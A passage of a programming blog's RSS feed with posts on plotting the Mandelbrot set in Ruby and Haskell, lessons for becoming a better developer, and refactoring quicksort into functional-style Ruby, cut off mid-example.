		<category><![CDATA[math]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[mandelbrot]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=242</guid>
		<description><![CDATA[Generating the wonderful Mandelbrot set in Ruby and Haskell - it's amazing how simple math can give birth to such a sophisticated shape. It's elegance fits Ruby and Haskell well. Come closer and see the wonders!

I just came across one of my favourite books which I read when I was a kid: 'The emperor's ...]]></description>
			<content:encoded><![CDATA[<p></p><p>Generating the wonderful Mandelbrot set in Ruby and Haskell &#8211; it&#8217;s amazing how simple math can give birth to such a sophisticated shape. It&#8217;s elegance fits Ruby and Haskell well. Come closer and see the wonders!<br />
<span id="more-242"></span><br />
I just came across one of my favourite books which I read when I was a kid: &#8216;<a href="http://en.wikipedia.org/wiki/The_Emperor%27s_New_Mind">The emperor&#8217;s new mind</a>&#8216; by Roger Penrose. I remember I was very enthusiastic reading it and became amazed by <a href="http://en.wikipedia.org/wiki/Fractal">fractals</a> &#8211; especially the good old <a href="http://en.wikipedia.org/wiki/Mandelbrot_set">Mandelbrot set</a>. I wasn&#8217;t really into programming back then &#8211; I was like 15, only starting out with *blush* Pascal, but now I&#8217;m equipped with two wonderful languages, so I decided to code my childhood dream.</p>
<p>Some very basic maths for the things to come:<br />
The Mandelbrot set is a set of complex numbers for which the simple iterative polynomial z(0) = 0; z(n+1) = z(n)^2 + c remains bounded.<br />
It&#8217;s the boundary of the set which is a fractal, an ever-zoomable, self-repeating source of wonders. The complex plane is a two dimensional plane on which the x-axis is the real part and the y-axis is the imaginary part of any complex number (at least let&#8217;s make this our convention), thus every complex number defines a point on this plane.</p>
<p>After some trial and error, the following area of the complex plane is best used for the well-known generic Mandelbrot fractal:<br />
x: (-2.0) &#8211; 0.5<br />
y: (-1.0) &#8211; 1.0</p>
<p>The algorithm is this: for every point (complex number) inside this area we check if the iterative polynomial remains bounded. Of course we can&#8217;t check up to infinity, so we need to define some maximum iteration limit, say 500 (for our console plotting, a much lower value would be good enough). If the magnitude of the 500th iteration of the polynomial is lower than 2.0 (a hand-picked but close-enough upper limit), then the given point is part of the Mandelbrot set.</p>
<p>Let&#8217;s code a quick console plotter in ruby:</p>
<pre>require 'complex'

def mandelbrot(a)
  Array.new(500,a).inject(a) { |z,c| z*z + c }
end

(1.0).step(-1,-0.05) do |y|
  (-2.0).step(0.5,0.0315) do |x|
    print mandelbrot(Complex(x,y)).abs &lt; 2 ? '*' : ' '
  end
  puts
end</pre>
<p>Pretty straightforward, I think. All numbers are hard-coded for simplicity (iteration step size is calculated based on the x-y range and the number of characters in our terminal). One neat trick is the iteration itself: Enumerable#inject is used instead of classic looping. I just love ruby&#8217;s functional side. Array.new(500,a) generates an array by repeating &#8216;a&#8217; 500 times. Inject is fold in a disguise, reducing the array to one element by the operations given in the block.</p>
<p>It produces the following cool little output:</p>
<div><img style="margin: 15px;" title="Mandelbrot console" src="http://blog.mostof.it/wp-content/uploads/mandelbrot-console.gif" alt="Mandelbrot console" width="250" height="263" /></div>
<p>Pretty nice for starters. Let&#8217;s see the Haskell version.</p>
<pre>import Data.Complex

mandelbrot a = iterate (\z -&gt; z^2 + a) a !! 500

main = mapM_ putStrLn [[if magnitude (mandelbrot (x :+ y)) &lt; 2 then '*' else ' '
                           | x &lt;- [-2, -1.9685 .. 0.5]]
                           | y &lt;- [1, 0.95 .. -1]]</pre>
<p>Some definitions here:</p>
<ul>
<li>&#8216;iterate&#8217; by definition: iterate f x returns an infinite list of repeated applications of f to x: iterate f x == [x, f x, f (f x), ...]<br />
Quite clear, I think &#8211; just what we need.</li>
<li>list !! n: take the nth item from the list</li>
<li>mapM_ by definition: Evaluate each action in the sequence from left to right, and ignore the results. What it does is actually &#8216;executing&#8217; the operations on its right without using their results &#8211; outputting the mandelbrot set itself.</li>
</ul>
<p>I have one more thing up in my sleeve: a full-fledged ruby drawing version using RMagick, so here it is without comments, use it to your liking:</p>
<pre>require 'rubygems'
require 'complex'
require 'RMagick'
include Magick

# this is the interesting area of the complex plane
X_START = -2.0
X_END = 0.5
Y_START = -1.0
Y_END = 1.0

# wanted image dimensions
WIDTH = 800.0
HEIGHT = 600.0

# set this to higher values and sleep well <img src='http://blog.mostof.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
ITERATIONS = 200

STEP_X = (X_END - X_START) / WIDTH
STEP_Y = (Y_END - Y_START) / HEIGHT

def mandelbrot(a)
  Array.new(ITERATIONS, a).inject(a) { |z,c| z*z + c }
end

complex_plane = Image.new(WIDTH.to_i, HEIGHT.to_i)

MIN_X =
x_pixel = 0
y_pixel = 0 

x = X_START
y = Y_START

while y &lt; Y_END
  x_pixel = 0
  x = X_START
  while x &lt; X_END
    mandelbrot(Complex(x,y)).abs &lt; 2 ? Draw.new.fill('#000000').point(x_pixel,y_pixel).draw(complex_plane) : nil
    x_pixel += 1
    x += STEP_X
  end
  y_pixel += 1
  y += STEP_Y
end

complex_plane.write("mandelbrot.png")</pre>
<p>I hope you liked this quick and simple post <img src='http://blog.mostof.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I hacked this together in 30 minutes, so I know it&#8217;s not high quality code, but I did it for fun mostly.</p>
<p class="wp-flattr-button"></p> <p><a href="http://blog.mostof.it/?flattrss_redirect&amp;id=242&amp;md5=1323218e9a2628a6f4922a4f0877a195" title="Flattr" target="_blank"><img src="http://blog.mostof.it/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>
<p><a href="http://feedads.g.doubleclick.net/~a/Y2vR29ouQgGvFH5dk2vca9ErZLs/0/da"><img src="http://feedads.g.doubleclick.net/~a/Y2vR29ouQgGvFH5dk2vca9ErZLs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Y2vR29ouQgGvFH5dk2vca9ErZLs/1/da"><img src="http://feedads.g.doubleclick.net/~a/Y2vR29ouQgGvFH5dk2vca9ErZLs/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/tWc45v_8v5k" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/mandelbrot-set-in-ruby-and-haskell/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/mandelbrot-set-in-ruby-and-haskell/</feedburner:origLink></item>
		<item>
		<title>On the road to being a better developer</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/B_O98jBGZUI/</link>
		<comments>http://blog.mostof.it/being-a-better-developer/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 20:10:22 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[opinion]]></category>
		<category><![CDATA[philosophy]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=229</guid>
		<description><![CDATA[Everyone wants to be good in what he's doing - that's human nature, that's how we're raised. The key is constant improvement without being disappointed by small failures and bumps on the way. In the last 10 years I've been working as a developer and I feel I've learnt a lot of valuable lessons ...]]></description>
			<content:encoded><![CDATA[<p></p><p id="_mcePaste"><a href="http://blog.mostof.it/being-a-better-developer/"><img class="alignleft size-thumbnail wp-image-489" title="Being a better developer" src="http://blog.mostof.it/wp-content/uploads/being-better-150x150.jpg" alt="Being a better developer" width="150" height="150" /></a>Everyone wants to be good in what he&#8217;s doing &#8211; that&#8217;s human nature, that&#8217;s how we&#8217;re raised. The key is constant improvement without being disappointed by small failures and bumps on the way. In the last 10 years I&#8217;ve been working as a developer and I feel I&#8217;ve learnt a lot of valuable lessons &#8211; many of which can be applied to other areas of life and work. Let me share my lessons with you, dear reader.</p>
<div><span id="more-229"></span></div>
<div id="_mcePaste">Without specific order, a&#8217;la ad hoc:</div>
<h2><span style="color: #339966;">Lesson #1</span> &#8211; See the big picture</h2>
<p id="_mcePaste" style="padding-left: 30px;">It&#8217;s very easy to get lost in details, focus on small things and lose the vision. The whole is always more than the sum of its parts. Even if you&#8217;re only a rookie coder, try to look for other aspects of your projects &#8211; business, social, whatever those aspects might be. When you&#8217;re working as a professional, coding is not l&#8217;art pour l&#8217;art anymore &#8211; it has a reason and a goal. The goal is never &#8216;completing coding tasks&#8217;. It is the same thing as the concept of &#8216;done done&#8217; in agile development &#8211; a project is only done when it is tested, accepted, goes live, tested in the wild again and regressions are fixed. The final test is rarely technical rather has more to do with management and concepts like profit, brand building and customer/user satisfaction. To be successful in this manner, you must always have the global vision of the project in sight.</p>
<h2><span style="color: #339966;">Lesson #2</span> &#8211; Take your time</h2>
<p id="_mcePaste" style="padding-left: 30px;">It might sound easy and natural, but it&#8217;s usually really hard when deadlines are closing in. Don&#8217;t go for speed, though, speed will give birth to lost focus and neglect &#8211; bugs. In the end it will cost you more time, energy and morale. Speed will naturally come with good design and architectural choices and solutions, plus with experience and proficiency. These things you cannot achieve while rushing. Note that it has nothing to do with being lazy or mooning around, those are bad habits.</p>
<h2><span style="color: #339966;">Lesson #3</span> &#8211; When things go wrong, be ready for a paradigm shift</h2>
<p id="_mcePaste" style="padding-left: 30px;">This also takes time and experience, but it&#8217;s an invaluable thing. When technologies and solutions become slow or unusable, you should stop trying to fit new problems into old schema &#8211; look for alternatives. The recent NoSQL &#8216;movement&#8217; is such an example &#8211; but also, where a proven old solution is good, don&#8217;t go for the hype and use a trendy lib or software. If your good old relational DB scales well for your problem, there&#8217;s no reason to use a NoSQL server. The same goes for functional languages &#8211; just because you can have a more elegant solution, don&#8217;t introduce a new language into your codebase. If, on the other hand, your OO paradigm seems unnatural and ineffective for the problem, look for a functional solution. For this, stay up to date with new trends, read a few interesting articles about new technologies at least weekly. See my &#8216;<a href="http://blog.mostof.it/top-5-trends-in-software-development">Top 5 trends in sw tech</a>&#8216; for example.</p>
<h2><span style="color: #339966;">Lesson #4</span> &#8211; Keep your brain trained</h2>
<p id="_mcePaste" style="padding-left: 30px;">Don&#8217;t settle with everyday tasks, do some extra training. Look for problems at sites like Code Golf or Project Euler and try as many solutions as you can think of and compare them. Also practice maths, especially set , graph and group theories, they can be real life savers when you come across some harder algorithmical problem. Being a developer does not stop when you leave your desk in the afternoon &#8211; it&#8217;s a lifestyle. Also, good ideas usually come when you&#8217;re not working, so:</p>
<h2><span style="color: #339966;">Lesson #5</span> &#8211; Have/get a life</h2>
<p id="_mcePaste" style="padding-left: 30px;">This is probably the most important one. Young geeks may seem like programming gods, but that fire can burn out fast. Without proper rest and motivation you won&#8217;t last long in this business. Minimize overtime working by doing your job well and having a decent relation with project managers, thus encouraging proper planning. Sleep, sleep, sleep. Staying up one or two nights can be inevitable sometimes, but watch out because this can easily harden into a pattern &#8211; and your brain needs sleep. You won&#8217;t get far with sleep deprivation. Also be social, have a family, friends and have as much fun as possible, your brain also needs diverse activities.</p>
<h2><span style="color: #339966;">Lesson #6</span> &#8211; Focus</h2>
<p id="_mcePaste" style="padding-left: 30px;">Focus on one thing at a time (without losing the big picture). Avoid multitasking (and thus interruption) as much as you can. Sometimes it&#8217;s just not possible in your office environment, but multitasking in your brain has the same price tag as in parallel programming: task switching is a tedious work for our brain too. You lose focus and subtle ideas and need much time getting back on track.</p>
<h2><span style="color: #339966;">Lesson #7</span> &#8211; Be persistent</h2>
<p id="_mcePaste" style="padding-left: 30px;">Don&#8217;t give up at the first failure. Or at the second. Try again. You can learn the most from your mistakes, not from your success stories. If all else fails, try to find a way around the problem (this is related to Lesson #3). In most of the cases you will find the right solution with time, trust me. Don&#8217;t be afraid or shy to ask for help &#8211; a fresh look at the problem might do miracles!</p>
<h2><span style="color: #339966;">Lesson #8</span> &#8211; Measure</h2>
<p id="_mcePaste" style="padding-left: 30px;">Always measure whatever you can. Don&#8217;t just &#8216;think&#8217; your solution will be good enough. Don&#8217;t assume, see for yourself. Will that new color scheme attract more users to the sign-up form? Do some A/B testing and you&#8217;ll see. Human judgement and forecast is faulty. You&#8217;ll be surprised how far your estimate is from reality sometimes!</p>
<h2><span style="color: #339966;">Lesson #9</span> &#8211; Don&#8217;t focus on code performance</h2>
<p id="_mcePaste" style="padding-left: 30px;">Most of the times it&#8217;s irrelevant. Don&#8217;t spend two more days optimizing that page so it loads in 500ms instead of 550ms. It&#8217;s not worth it. Your users won&#8217;t see the difference and you&#8217;ve lost valuable time, you should have been working on your next task. There are other factors which are usually much more important &#8211; clarity, simplicity, elegance, for example.</p>
<h2><span style="color: #339966;">Lesson #10</span> &#8211; Be ready to chop off features</h2>
<p id="_mcePaste" style="padding-left: 30px;">Sometimes you just can&#8217;t complete the task in time. Be ready to make some sacrifices, reorder your list of to-do features by importance and just chop off the least important ones if you can. Later you can schedule an &#8216;after-party&#8217; and complete those nitty-gritty featurettes. Don&#8217;t consider this as failing. It&#8217;s how our job is.</p>
<h2><span style="color: #339966;">Lesson #11</span> &#8211; Have &#8216;coding standards&#8217;</h2>
<p id="_mcePaste" style="padding-left: 30px;">Even if you&#8217;re not on a team &#8211; be consistent with yourself. That list of standards can and will evolve, of course, but always try to be consistent. It will save much time for you and your team .</p>
<h2><span style="color: #339966;">Lesson #12</span> &#8211; Test</h2>
<p id="_mcePaste" style="padding-left: 30px;">Consider testing as part of the job and plan, not some tedious extra work. Dedicate time for proper testing. Test on multiple levels. Test code consistency but more importantly do functional testing. Test with many people. Have a testing toolset at hand &#8211; a testing/staging server, software tools (RSpec, Cucumber, PhpUnit, etc.).</p>
<h2><span style="color: #339966;">Lesson #13</span> &#8211; Usability</h2>
<p id="_mcePaste" style="padding-left: 30px;">When doing UI development, keep usability principles at the top of your importance list. It&#8217;s hard, we all have our concepts but accept that a developer will never be able to see the UI as a normal user. It&#8217;s a fact. Do mockups, design plans, show them to many people &#8211; especially your future users if possible. Embrace criticism, it&#8217;s part of the process and it&#8217;s not personal insult.</p>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Enhanced by Zemanta" href="http://www.zemanta.com/"><img class="zemanta-pixie-img" style="border: none; float: right;" src="http://blog.mostof.it/wp-content/uploads/zemified_e.png?x-id=fb4d824e-5a42-4529-92d2-fe6c3b4ed69a" alt="Enhanced by Zemanta" /></a></div>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/90TLy9SaZgPYHAQByKoXQwFJsME/0/da"><img src="http://feedads.g.doubleclick.net/~a/90TLy9SaZgPYHAQByKoXQwFJsME/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/90TLy9SaZgPYHAQByKoXQwFJsME/1/da"><img src="http://feedads.g.doubleclick.net/~a/90TLy9SaZgPYHAQByKoXQwFJsME/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/B_O98jBGZUI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/being-a-better-developer/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/being-a-better-developer/</feedburner:origLink></item>
		<item>
		<title>Functional ruby – a simple example</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/jAxshQInvko/</link>
		<comments>http://blog.mostof.it/functional-ruby-a-simple-example/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 16:52:32 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[haskell]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[functional]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=205</guid>
		<description><![CDATA[Today I'd like to present the implementation of the quicksort algorithm, starting from a naive imperative solution and improving it for elegance and clarity.

Why quicksort? Well, it's a quite good sorting algorithm which can be effectively implemented on modern architectures and also very easy to understand, making it a nice test subject. To learn ...]]></description>
			<content:encoded><![CDATA[<p></p><p>Today I&#8217;d like to present the implementation of the quicksort algorithm, starting from a naive imperative solution and improving it for elegance and clarity.<br />
<span id="more-205"></span><br />
Why quicksort? Well, it&#8217;s a quite good sorting algorithm which can be effectively implemented on modern architectures and also very easy to understand, making it a nice test subject. To learn about the algorithm itself, look <a rel='nofollow' href="http://en.wikipedia.org/wiki/Quicksort">here</a>. The short description of the algorithm goes like this:</p>
<blockquote><ol>
<li>Pick an element, called a pivot, from the list.</li>
<li>Reorder the list so that all elements which are less than the pivot come before the pivot and so that all elements greater than the pivot come after it (equal values can go either way). After this partitioning, the pivot is in its final position. This is called the partition operation.</li>
<li>Recursively sort the sub-list of lesser elements and the sub-list of greater elements.</li>
</ol>
</blockquote>
<p>Based on this description, here we go with a straight-forward naive implementation in ruby:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code27'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20527"><td class="code" id="p205code27"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> partition<span style="color:#006600; font-weight:bold;">&#40;</span>items, left, right, pindex<span style="color:#006600; font-weight:bold;">&#41;</span>
   pvalue = items <span style="color:#006600; font-weight:bold;">&#91;</span>pindex<span style="color:#006600; font-weight:bold;">&#93;</span>
   swap<span style="color:#006600; font-weight:bold;">&#40;</span>items, pindex, right<span style="color:#006600; font-weight:bold;">&#41;</span>
   sindex = left
   <span style="color:#9966CC; font-weight:bold;">for</span> i <span style="color:#9966CC; font-weight:bold;">in</span> left .. <span style="color:#9900CC;">right</span><span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
       <span style="color:#9966CC; font-weight:bold;">if</span> items<span style="color:#006600; font-weight:bold;">&#91;</span>i<span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#006600; font-weight:bold;">&lt;</span>= pvalue
          swap<span style="color:#006600; font-weight:bold;">&#40;</span>items, sindex, i<span style="color:#006600; font-weight:bold;">&#41;</span>
          sindex = sindex <span style="color:#006600; font-weight:bold;">+</span> <span style="color:#006666;">1</span>
       <span style="color:#9966CC; font-weight:bold;">end</span>
   <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
   swap<span style="color:#006600; font-weight:bold;">&#40;</span>items, right, sindex<span style="color:#006600; font-weight:bold;">&#41;</span>
   <span style="color:#0000FF; font-weight:bold;">return</span> sindex
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> swap <span style="color:#006600; font-weight:bold;">&#40;</span>arr, l, r<span style="color:#006600; font-weight:bold;">&#41;</span>
  tmp = arr <span style="color:#006600; font-weight:bold;">&#91;</span>l<span style="color:#006600; font-weight:bold;">&#93;</span>
  arr<span style="color:#006600; font-weight:bold;">&#91;</span>l<span style="color:#006600; font-weight:bold;">&#93;</span> = arr<span style="color:#006600; font-weight:bold;">&#91;</span>r<span style="color:#006600; font-weight:bold;">&#93;</span>
  arr<span style="color:#006600; font-weight:bold;">&#91;</span>r<span style="color:#006600; font-weight:bold;">&#93;</span> = tmp
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> qsort<span style="color:#006600; font-weight:bold;">&#40;</span>items, left, right<span style="color:#006600; font-weight:bold;">&#41;</span>
	<span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>right <span style="color:#006600; font-weight:bold;">&gt;</span> left<span style="color:#006600; font-weight:bold;">&#41;</span>
	    pIndex = left
	    newPindex = partition<span style="color:#006600; font-weight:bold;">&#40;</span>items, left, right, pIndex<span style="color:#006600; font-weight:bold;">&#41;</span>
	    qsort<span style="color:#006600; font-weight:bold;">&#40;</span>items, left, newPindex<span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span>
	    qsort<span style="color:#006600; font-weight:bold;">&#40;</span>items, newPindex<span style="color:#006600; font-weight:bold;">+</span><span style="color:#006666;">1</span>, right<span style="color:#006600; font-weight:bold;">&#41;</span>
	<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>items<span style="color:#006600; font-weight:bold;">&#41;</span> 
  qsort<span style="color:#006600; font-weight:bold;">&#40;</span>items, <span style="color:#006666;">0</span>, items.<span style="color:#9900CC;">size</span> <span style="color:#006600; font-weight:bold;">-</span> <span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Well, not particularly nice. Isn&#8217;t ruby supposed to be a terse language? Wait and see. First what bothers me the most is the &#8216;swap&#8217; function there. There&#8217;s no need for that, in ruby you can use parallel assignment, so :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code28'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20528"><td class="code" id="p205code28"><pre class="ruby" style="font-family:monospace;">   items<span style="color:#006600; font-weight:bold;">&#91;</span>sindex<span style="color:#006600; font-weight:bold;">&#93;</span>, items<span style="color:#006600; font-weight:bold;">&#91;</span>right<span style="color:#006600; font-weight:bold;">&#93;</span> = items<span style="color:#006600; font-weight:bold;">&#91;</span>right<span style="color:#006600; font-weight:bold;">&#93;</span>, items<span style="color:#006600; font-weight:bold;">&#91;</span>sindex<span style="color:#006600; font-weight:bold;">&#93;</span>
   <span style="color:#008000; font-style:italic;">#swap(items, right, sindex)</span></pre></td></tr></table></div>

<p>Also, do we really need that &#8216;partition&#8217; function? Nope. Ruby&#8217;s <a rel='nofollow' href="http://ruby-doc.org/core/classes/Enumerable.html">Enumerable module</a> has it already. It says:</p>
<blockquote>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code29'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20529"><td class="code" id="p205code29"><pre class="ruby" style="font-family:monospace;">enum.<span style="color:#9900CC;">partition</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span> obj <span style="color:#006600; font-weight:bold;">|</span> block <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span> true_array, false_array <span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Returns two arrays, the first containing the elements of enum for which the block evaluates to true, the second containing the rest.
</p></blockquote>
<p>Nice. Let&#8217;s write an alternative version using this knowledge:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code30'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20530"><td class="code" id="p205code30"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> quicksort2<span style="color:#006600; font-weight:bold;">&#40;</span>items<span style="color:#006600; font-weight:bold;">&#41;</span>
   <span style="color:#0000FF; font-weight:bold;">return</span> items <span style="color:#9966CC; font-weight:bold;">if</span> items.<span style="color:#0000FF; font-weight:bold;">nil</span>? <span style="color:#9966CC; font-weight:bold;">or</span> items.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&lt;</span>= <span style="color:#006666;">1</span>
   less, more = items<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>..<span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">partition</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span> i <span style="color:#006600; font-weight:bold;">&lt;</span> items<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#006600; font-weight:bold;">&#125;</span>
   quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>less<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">+</span> <span style="color:#006600; font-weight:bold;">&#91;</span>items<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#006600; font-weight:bold;">+</span> quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>more<span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>So much nicer! Another alternative could be this, using Enumerable#select:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code31'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20531"><td class="code" id="p205code31"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>items<span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#9966CC; font-weight:bold;">not</span> items <span style="color:#9966CC; font-weight:bold;">or</span> items == <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#9966CC; font-weight:bold;">then</span> 
    <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>
  <span style="color:#9966CC; font-weight:bold;">else</span>
    x, <span style="color:#006600; font-weight:bold;">*</span>xs = items
    quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>xs.<span style="color:#CC0066; font-weight:bold;">select</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span> i <span style="color:#006600; font-weight:bold;">&lt;</span>  x <span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">+</span> <span style="color:#006600; font-weight:bold;">&#91;</span>x<span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#006600; font-weight:bold;">+</span> quicksort<span style="color:#006600; font-weight:bold;">&#40;</span>xs.<span style="color:#CC0066; font-weight:bold;">select</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span> i <span style="color:#006600; font-weight:bold;">&gt;</span>= x <span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Notice the line &#8216;x, *xs = items&#8217;  &#8211; it&#8217;s just like head and tail in functional languages! Beautiful. It works like this:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p205code32'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p20532"><td class="code" id="p205code32"><pre class="ruby" style="font-family:monospace;">irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:007:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> a = <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'first'</span>,<span style="color:#996600;">'second'</span>,<span style="color:#996600;">'third'</span>,<span style="color:#996600;">'fourth'</span><span style="color:#006600; font-weight:bold;">&#93;</span>
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;first&quot;</span>, <span style="color:#996600;">&quot;second&quot;</span>, <span style="color:#996600;">&quot;third&quot;</span>, <span style="color:#996600;">&quot;fourth&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span>
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:008:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> x, <span style="color:#006600; font-weight:bold;">*</span>xs = a
